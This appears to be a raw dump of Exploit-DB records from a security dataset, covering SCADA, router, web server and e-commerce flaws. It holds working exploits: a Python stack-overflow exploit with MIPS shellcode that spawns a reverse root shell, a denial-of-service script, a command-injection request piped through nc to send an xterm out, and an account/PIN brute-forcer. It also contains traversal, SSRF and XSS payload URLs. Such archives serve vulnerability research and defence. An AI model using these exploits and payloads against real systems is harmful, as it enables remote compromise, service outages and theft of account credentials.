deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35495
Description: Advantech/BroadWin SCADA Webaccess 7.0 - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2011-03-23
Author: Ruben Santamarta

Exploit:
source: https://www.securityfocus.com/bid/47008/info

Advantech/BroadWin SCADA WebAccess is prone to multiple remote vulnerabilities including an information-disclosure issue and a remote code-execution issue.

An attacker can exploit these issues to execute arbitrary code and gain access to sensitive information. Other attacks may also be possible.

Advantech/BroadWin SCADA WebAccess 7.0 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35495.zip
Exploit-DB #22755
Description: Aiglon Web Server 2.0 - Installation Path Information Disclosure
Type: remote
Platform: multiple
Date: 2003-06-10
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7867/info

A weakness has been discovered in Aiglon Web Server, which may provide for the disclosure of sensitive information to remote attackers.

It has been reported that a remote attacker may cause the web server to disclose installation path details by making a malformed HTTP request. The remote attacker may potentially use the disclosed information to aid in further "intelligent" attacks against the host running the affected software.

http://www.example.com/index.html*
Exploit-DB #23557
Description: aiptek netcam WebServer 0.93.15 - Directory Traversal
Type: remote
Platform: multiple
Date: 2004-01-20
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9456/info

It has been reported that the NETCam webserver of NETCam Viewer may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory.

AIPTEK NETCam Viewer versions 1.0.0.28 and prior are reported to be prone to this issue, however, other versions could be affected as well.

http://www.example.com/../etc/passwd
http://www.example.com/../../etc/passwd
http://www.example.com/../../../boot.ini
http://www.example.com/../../../../boot.ini
Exploit-DB #36577
Description: Airties Air5650TT - Remote Stack Overflow
Type: remote
Platform: multiple
Date: 2015-03-31
Author: Batuhan Burakcin

Exploit:
#!/usr/bin/env python
#####################################################################################
# Exploit for the AIRTIES Air5650v3TT 
# Spawns a reverse root shell
# Author: Batuhan Burakcin
# Contact: batuhan@bmicrosystems.com
# Twitter: @batuhanburakcin
# Web: http://www.bmicrosystems.com
#####################################################################################

import sys
import time
import string
import socket, struct
import urllib, urllib2, httplib





if __name__ == '__main__':
	



	try:
		ip = sys.argv[1]
		revhost = sys.argv[2]
		revport = sys.argv[3]
	except:
		print "Usage: %s <target ip> <reverse shell ip> <reverse shell port>" % sys.argv[0]

	host = struct.unpack('>L',socket.inet_aton(revhost))[0]	
	port = string.atoi(revport)


	shellcode = ""
	shellcode += "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd"
	shellcode += "\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff"
	shellcode += "\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0"
	shellcode += "\x3c\x0e" + struct.unpack('>cc',struct.pack('>H', port))[0] + struct.unpack('>cc',struct.pack('>H', port))[1]
	shellcode += "\x35\xce" + struct.unpack('>cc',struct.pack('>H', port))[0] + struct.unpack('>cc',struct.pack('>H', port))[1]
	shellcode += "\xaf\xae\xff\xe4"
	shellcode += "\x3c\x0e" + struct.unpack('>cccc',struct.pack('>I', host))[0] + struct.unpack('>cccc',struct.pack('>I', host))[1]
	shellcode += "\x35\xce" + struct.unpack('>cccc',struct.pack('>I', host))[2] + struct.unpack('>cccc',struct.pack('>I', host))[3]
	shellcode += "\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27"
	shellcode += "\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27"
	shellcode += "\x8f\xa4\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c"
	shellcode += "\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff"
	shellcode += "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f"
	shellcode += "\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec"
	shellcode += "\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab"
	shellcode += "\x01\x01\x01\x0c"


	data = "\x41"*359 + "\x2A\xB1\x19\x18" + "\x41"*40 + "\x2A\xB1\x44\x40" 
	data += "\x41"*12 + "\x2A\xB0\xFC\xD4" + "\x41"*16 + "\x2A\xB0\x7A\x2C" 
	data += "\x41"*28 + "\x2A\xB0\x30\xDC" + "\x41"*240 + shellcode + "\x27\xE0\xFF\xFF"*48

	pdata = {
		'redirect'		: data,
		'self'			: '1',
		'user'			: 'tanri',
		'password'		: 'ihtiyacmyok',
		'gonder'		: 'TAMAM'
		}

	login_data = urllib.urlencode(pdata)
	#print login_data

	url = 'http://%s/cgi-bin/login' % ip
	header = {}
	req = urllib2.Request(url, login_data, header)
	rsp = urllib2.urlopen(req)
Exploit-DB #50892
Description: Akka HTTP 10.1.14 - Denial of Service
Type: remote
Platform: multiple
Date: 2022-05-11
Author: cxosmo

Exploit:
# Exploit Title: Akka HTTP Denial of Service via Nested Header Comments
# Date: 18/4/2022
# Exploit Author: cxosmo
# Vendor Homepage: https://akka.io
# Software Link: https://github.com/akka/akka-http
# Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7
# Tested on: Akka HTTP 10.2.4, Ubuntu
# CVE : CVE-2021-42697

import argparse
import logging
import requests

# Logging config
logging.basicConfig(level=logging.INFO, format="")
log = logging.getLogger()

def send_benign_request(url, verify=True):
    log.info(f"Sending benign request to {url} for checking reachability...")
    try:
        r = requests.get(url)
        log.info(f"Benign request returned following status code: {r.status_code}")
        return True
    except Exception as e:
        log.info(f"The following exception was encountered: {e}")
        return False

def send_malicious_request(url, verify=True):
    log.info(f"Sending malicious request to {url}")
    # Akka has default HTTP header limit of 8192; 8191 sufficient to trigger stack overflow per 10.2.4 testing
    nested_comment_payload = "("*8191
    headers = {'User-Agent': nested_comment_payload}
    try:
        r = requests.get(url, headers=headers)
        log.info(f"Request returned following status code: {r.status_code}")
    # Expected exception to be returned if server is DoSed successfully
    except requests.exceptions.RequestException as e:
        if "Remote end closed connection without response" in str(e):
            log.info(f"The server is unresponsive per {e}: DoS likely successful")
    except Exception as e:
        log.info(f"The following exception was encountered: {e}")

if __name__ == "__main__":
    # Parse command line
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
    required_arguments = parser.add_argument_group('required arguments')
    required_arguments.add_argument("-t", "--target",
                        help="Target URL for vulnerable Akka server (e.g. https://localhost)",
                        required="True", action="store")
    parser.add_argument("-k", "--insecure",
                        help="Disable verification of SSL/TLS certificate",
                        action="store_false", default=True)
    args = parser.parse_args()

    # Send requests: first is connectivity check, second is DoS attempt
    if send_benign_request(args.target, args.insecure):
        send_malicious_request(args.target, args.insecure)
Exploit-DB #20890
Description: Aladdin Knowledge Systems eSafe Gateway 3.0 - HTML tag Script-filtering Bypass
Type: remote
Platform: multiple
Date: 2001-05-29
Author: eDvice Security Services

Exploit:
source: https://www.securityfocus.com/bid/2800/info

eSafe Gateway is a security utility used for filtering internet content.

It is possible to craft an html file that slips through eSafe Gateway's script filtering feature. eSafe Gateway will ignore scripting commands that are embedded in any html tags that allow it. This causes eSafe Gateway to generate filtered html that still includes potentially dangerous scripting functions. 

For example, the following potentially harmful script will go
undetected by eSafe, even if the "remove all scripts" option is enabled:


<A HREF="javascript:var fso = new
ActiveXObject('Scripting.FileSystemObject');var a =
fso.CreateTextFile('c:\\testfile2.txt', true);a.WriteLine('This is a
test.');a.Close();">Click here</A>

HREF is not the only tag ignored. Any tag capable of containing scripting
command will not be filtered by eSafe. For example:

<BODY onload="alert('hi');">
Exploit-DB #20891
Description: Aladdin Knowledge Systems eSafe Gateway 3.0 - Unicode Script-filtering Bypass
Type: remote
Platform: multiple
Date: 2001-05-29
Author: eDvice Security Services

Exploit:
source: https://www.securityfocus.com/bid/2801/info

eSafe Gateway is a security utility used for filtering internet content.

An html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply encoding the <SCRIPT> tag in Unicode format, such that the filter ignores the call to execute the script. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20891.zip
Exploit-DB #20507
Description: alex heiphetz Group eZshopper 2.0/3.0 - Directory Traversal
Type: remote
Platform: multiple
Date: 2000-12-13
Author: Nsfocus

Exploit:
source: https://www.securityfocus.com/bid/2109/info

It is possible for a remote user to gain read access to various files that reside within the EZShopper directory. By requesting a specially crafted URL utilizing loadpage.cgi' application with a '/' appended, EZShopper will disclose the contents within the EZShopper directory. As a result, it is possible for an attacker to navigate into its subdirectories and view any file.

It is also reported that this same CGI application allows directory traversal sequences to be utilized to retrieve the contents of arbitrary Web server accessible files.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim. 

EZshopper v3.0:
http://www.example.com/cgi-bin/ezshopper3/loadpage.cgi?user_id=id&file=/

EZshopper v2.0:
http://www.example.com/cgi-bin/ezshopper2/loadpage.cgi?id+/

Zero X <Zero_X@excluded.org> provided the following example:
http://www.example.com/cgi-bin/loadpage.cgi?user_id=id&file=.|./.|./.|./.|./.|./etc/passwd%00.html
Exploit-DB #19781
Description: Alex Heiphetz Group eZshopper 3.0 - Remote Command Execution
Type: remote
Platform: multiple
Date: 2000-02-27
Author: suid

Exploit:
source: https://www.securityfocus.com/bid/1014/info

EZShopper is a perl-based E-Commerce software package offered by Alex Heiphetz Group, Inc. It is possible to remotely compromise a host due to a lack of checks on user input passed directly to the open() call. This vulnerability exists in two scripts shipped with EZShopper, loadpage.cgi and search.cgi. 

In the first vulnerability, the variable passed to open() is called "file" and is submitted to a script called loadpage.cgi. There are no checks on "file", meaning that if "../" preceed an arbitrary filename/path as the file variable, those "../" paths will be followed and the arbitrary file anywhere on the filesystem will be displayed (provided that the uid of the webserver has access to them..). If pipes are included in the variable, arbitrary commands can be executed on the target host possibly giving remote access to the attacker with the uid of the webserver (usually 'nobody'). 

The second vulnerability is identical in nature to the first but is in the "search.cgi" script. In search.cgi, no checks are made on user input variables 'template' and 'database' (passed to open()). As a result, it is possible to view files or execute commands on the host through search.cgi as well.

#!/bin/bash 
echo -e "GET http: //www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=|"$1"| HTTP/1.0\n\n" | nc proxy.server.com 8080

[ /cut ]

$ ./ezhack.sh /usr/X11R6/bin/xterm%20-display%

(this would send an xterm from the target host to wherever display is)

http: //www.example.com/cgi-bin/search.cgi?user_id=1&database=<insert here>&template=<or insert here>&distinct=1
Exploit-DB #39259
Description: Alfresco - '/cmisbrowser?url' Server-Side Request Forgery
Type: remote
Platform: multiple
Date: 2014-07-16
Author: V. Paulikas

Exploit:
source: https://www.securityfocus.com/bid/68/info

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info
 
Alfresco Community Edition is prone to multiple security vulnerabilities.
 
An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions.
 
Alfresco Community Edition 4.2.f and earlier are vulnerable. 

http://www.example.com/alfresco/cmisbrowser?url=http://internal_system:port
Exploit-DB #39258
Description: Alfresco - '/proxy?endpoint' Server-Side Request Forgery
Type: remote
Platform: multiple
Date: 2014-07-16
Author: V. Paulikas

Exploit:
source: https://www.securityfocus.com/bid/68/info

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info

Alfresco Community Edition is prone to multiple security vulnerabilities.

An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions.

Alfresco Community Edition 4.2.f and earlier are vulnerable. 

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port
Exploit-DB #19093
Description: Allaire ColdFusion Server 4.0 - Remote File Display / Deletion / Upload / Execution
Type: remote
Platform: multiple
Date: 1998-12-25
Author: rain.forest.puppy

Exploit:
source: https://www.securityfocus.com/bid/115/info

To display and delete any file on the system use an URL of the following form:

http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\the\target\file

To upload files to the sever first find out the location of the sample code on the server by uploading a dummy file by using http://www.victim.test/cfdocs/expeval/openfile.cfm. After uploading a dummy file it will be displayed for you. The URL will be for the form:

http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?RequestTimeout=2000&OpenFilePath=C:\Inetpub\wwwroot\cfdocs\expeval\.\dummy.txt

Now replace the "dummy.txt" string by "ExprCalc.cfm" to delete that file. We can now upload and execute ColdFusion files in the server without them being deleted.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19093.cfm
Exploit-DB #19712
Description: Allaire ColdFusion Server 4.0/4.0.1 - 'CFCACHE' Information Disclosure
Type: remote
Platform: multiple
Date: 2000-01-04
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/917/info

ColdFusion 4.x includes a function called CFCACHE. This function improves server performance by caching the HTML output of processed CFM pages. 

When the CFCACHE tag is used in a CFM page, it creates temporary files. Some of these files are .tmp files, which contain the actual HTML output. It also creates a cfcache.map file, which contains pointers to the .tmp files including absolute pathnames, timestamps, and other URL information. This information could be potentially harmful if exposed to the public. These files are all placed in the same web-accessible directory as the CFM file itself, and can be remotely accessed via an explicit URL.

For any cfm file, request the corresponding cfcache.map file. 

For example, for the file:
http ://server/path/info.cfm
request:
http ://server/path/cfcache.map

The returned file will look something like this:

[info.cfm?product_id=9]
Mapping=C:\Inetpub\wwwroot\path\CFC155.tmp
SourceTimeStamp=10/06/1999 08:02:06 AM
Exploit-DB #19193
Description: Allaire Forums 2.0.4 - Getfile
Type: remote
Platform: multiple
Date: 1999-02-11
Author: Cameron Childress

Exploit:
source: https://www.securityfocus.com/bid/229/info

An Allaire Forums file "GetFile.cfm" in the root of the application directory allows anyone to access any file on the Forums server. This vulnerability affects Forums 2.0.4 and earlier. 

Type the URL "GetFile.cfm?FT=Text&FST=Plain&FilePath=C:\boot.ini" (without the quotes") where C:\boot.ini is the pathname and file to read.

The syntax of the request is <CFCONTENT TYPE="#FT#/#FST#" FILE="#FilePath#">
Exploit-DB #20314
Description: Allaire JRun 2.3 - Arbitrary Code Execution
Type: remote
Platform: multiple
Date: 2000-10-23
Author: Foundstone Labs

Exploit:
source: https://www.securityfocus.com/bid/1831/info


Jrun contains a vulnerability that allows a user to compile and execute JSP code from an arbitrary file on the webserver's filesystem. This bug is due to the way JSP execution is invoked -- if a requested filename/path is prefixed with '/servlet/'. If a user specifies "../" paths as part of a "/servlet/" request, it is possible to access documents outside of the webroot. 

The document specified (the complete path must be known by the attacker) will then be compiled and executed as a JSP script. This can be a serious vulnerability if an attacker can send user-input to a file on the filesystem. An example of this is a guestbook application - a malicious user could put JSP code into a guestbook file and then have it executed through this bug (as long as the location of the file is known). 

If exploited successfully this can lead to a complete compromise of the host.

http://target/servlet/com.livesoftware.jrun.plugins.jsp.JSP/../../path/to/filename

http://target/servlet/jsp/../../path/to/filename
Exploit-DB #20315
Description: Allaire JRun 2.3 - File Source Code Disclosure
Type: remote
Platform: multiple
Date: 2000-10-23
Author: Foundstone Labs

Exploit:
source: https://www.securityfocus.com/bid/1833/info

Allaire JRun is a web application development suite with JSP and Java Servlets. 

JRun contains a vulnerability that allows a user to access documents outside of the webroot. Requesting a malformed URL using the SSIFilter servlet, a remote user will gain read access to any file on a hosts filesystem. This is due to improper checking of where "../" paths lead (eg, outside of the webroot). In addition to disclosing the contents of arbitrary files, this vulnerability could allow a user to gain access to the source code of any file within the web document root of the web server.

Successful exploitation of this vulnerability will enable an attacker to read any file the webserver has access to, this information can lead to other compromises.

http://target/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../filename

http://target/servlet/ssifilter/../../filename
Exploit-DB #20313
Description: Allaire JRun 3 - Directory Disclosure
Type: remote
Platform: multiple
Date: 2000-10-23
Author: Foundstone Labs

Exploit:
source: https://www.securityfocus.com/bid/1830/info


Allaire JRun is a web application development suite with JSP and Java Servlets. 

Each web application directory contains a WEB-INF directory, this directory contains information on web application classes, pre-compiled JSP files, server side libraries, session information and files such as web.xml and webapp.properties.

JRun contains a vulnerability which allows remote user to view the contents of the WEB-INF directory. By requesting a malformed URL comprised of an additional '/' all of the directories below the WEB-INF directory will be revealed.

Successful exploitation of this vulnerability could lead to a remote attacker gaining read access to any file within the WEB-INF directory.

While this issue was addressed in earlier patches, it is still a problem if the attacker makes a raw specially crafted HTTP GET Request through a Microsoft IIS connector using a utility such as netcat or telnet.

The following request will disclose the contents of WEB-INF:

http://target//WEB-INF/

This may also be exploited by submitting the maliciously crafted URL via a HTTP GET request using utilities like netcat or telnet.
Exploit-DB #21116
Description: Amtote Homebet - Account Information Brute Force
Type: remote
Platform: multiple
Date: 2001-09-28
Author: Gary O'Leary-Steele

Exploit:
source: https://www.securityfocus.com/bid/3371/info

Homebet is an internet based betting application that is developed by Amtote International.

A vulnerability exists in Homebet which could enable a non-registered user to confirm the validity of possible legitimate users and their PIN numbers. 

## Amtote brute force thingy
@method =
'POST /homebet/homebet.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, application/x-comet, */*
Referer: http://217.23.170.15/homebet/homebet.dll?form=menu&option=menu-signin
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; fs_pb_ie5)
Host: 217.23.170.15
Content-Length: 29
Connection: Keep-Alive
Cache-Control: no-cache'."\n";
$found ="notyet";

use Socket;
$prompt = "cmd\/c";
if (@ARGV<1) {die "Account cracker\n Usage \= IP/host:Port e.g. Perl $0 www.target.com\n";}

($host,$port)=split(/:/,@ARGV[0]);$target = inet_aton($host);

$account ="accounts.txt"; # file containing account numbers
unless($port){$port = 80;}

open(EXPF,$account) or die "can't open account file file $account\n";

while(<EXPF>){
$found ="notyet";

$a = $_;
chomp $a;
print "Cracking Account number\n";
print "$a\n";
#if ($a eq ""){goto hello;};

@guess = "@method" . 'form=open&account=' . $a .'&pin=0000';

@retrn = sendraw("@guess \r\n\r\n");
print @guess;
print @retrn;
foreach $line (@retrn){
	if ($line =~ "ACCOUNT NUMBER IS NOT DEFINED") { $found="no" ;  }       
		      }

if ($found eq "notyet"){goto hello}

}

hello:


if($found eq "notyet"){
print <<"endc"; 

found valid account number $a
endc
}

################### sendraw sub

sub sendraw {   # this saves the whole transaction anyway
	my ($pstr)=@_;
	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
		die("Socket problems\n");
	if(connect(S,pack "SnA4x8",2,$port,$target)){
		my @in;
		select(S);      $|=1;   print $pstr;
		while(<S>){ push @in, $_;}
		select(STDOUT); close(S); return @in;
	} else { die("Can't connect...\n"); }
}
Exploit-DB #21115
Description: AmTote Homebet - World Accessible Log
Type: remote
Platform: multiple
Date: 2001-09-28
Author: Gary O'Leary-Steele

Exploit:
source: https://www.securityfocus.com/bid/3370/info

AmTote Homebet is an Internet-based account wagering interface.

Homebet stores all account and corresponding PIN numbers in the homebet.log file stored in the Homebet virtual directory. On a default installation, the homebet.log file is world readable. This could allow an attacker to steal the log file and strip out the account and PIN numbers.

$logfile='c:\windows\desktop\homebet.log'; ##change as required
print "Extracting Account/pin numbers";
open(INFILE,$logfile);
while(<INFILE>){
($accn,$pin)=split(/account=/,$_);
if ($pin){print "Account Number=".$pin;}
}
Exploit-DB #22130
Description: AN HTTPD 1.41 e - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-01-06
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/6529/info

AN HTTPD does not adequately filter HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the website running AN HTTPD.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. 

http://www.target.com/[script]?<h1>HACKED</h1>aaaa..[up_to_1kb]..aaaa